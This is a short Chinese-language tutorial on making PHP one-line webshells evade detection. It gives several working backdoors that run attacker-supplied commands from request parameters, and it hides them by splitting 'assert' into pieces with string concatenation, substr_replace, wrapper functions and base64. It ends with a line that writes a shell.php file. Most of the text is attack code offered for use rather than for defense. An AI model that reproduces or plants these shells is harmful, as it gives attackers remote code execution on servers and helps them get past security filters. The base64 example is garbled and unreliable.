php一句话木马免杀
针对于php一句话木马做免杀:
利用php动态函数的特性,将危险函数拆分成字符,最终使用字符串拼接的方式,然后重新拼接,后加括号执行代码,并且可以使用花指令进行包装,如无限if(1=1)套接,以此来做伪装绕过,达成免杀
assert()
如果过滤eval()函数时,可以考虑尝试assert()函数
assert() 会将字符串当做PHP 代码来执行
- assert() 只能执行单条PHP 语句。
- assert() 是一个函数,可以动态调用。
- 高版本PHP 中,assert() 被弃用
此时一句话木马即可构造为
php
<?php @assert($_REQUEST['cmd']); ?>
字符拼接函数
当eval和assert都被过滤时,即可考虑将函数拆分重组
例如
PHP
<?php
$a="a"."s";
$b="s"."e";
$c="rt";
$d=$a.$b.$c;
$d($_REQUEST['cmd']);
?>
可正常执行
编码加密后也可连接
php函数替换拼接
可以使用php函数来进行字符串的替换拼接
substr_replace()
函数是 PHP 中用于替换字符串中的一部分内容的函数
使用方法:
string substr_replace ( string $string , string $replacement , int $start [, int $length ] )
参数说明:
$string
:原始字符串。$replacement
:替换的字符串。$start
:替换的起始位置。$length
:可选参数,指定要替换的长度。如果未指定,则替换从起始位置开始一直到字符串末尾的部分
示例
php
<?php
$a=substr_replace("asxxxx","se",2);
$b=substr_replace($a,"rt",4);
@$b($_REQUEST['cmd']);
?>
同上可执行可连接
定义函数包裹
使用定义函数,将危险函数放进函数中,替代调用
php
<?php
function asrt1($a){
assert($a);
}
@asrt1($_REQUEST['cmd']);
?>
GPC替换
当request被过滤时,尝试使用GET或者POST
当然该参数也可以使用字符串拼接等方式组合
加密
例如使用base64加密
php
<?php
$a=base_decode(YXNzZXJ0/ZXZhbA==);
$b=$a(base64_decode($_REQUEST['cmd']));
?>
生成一句话马文件
<?php file_put_contents('shell.php','<?php @assert($_REQUEST);?>')?>
同理,如果该函数中出现过滤,则可考虑使用上述的拼接替换字符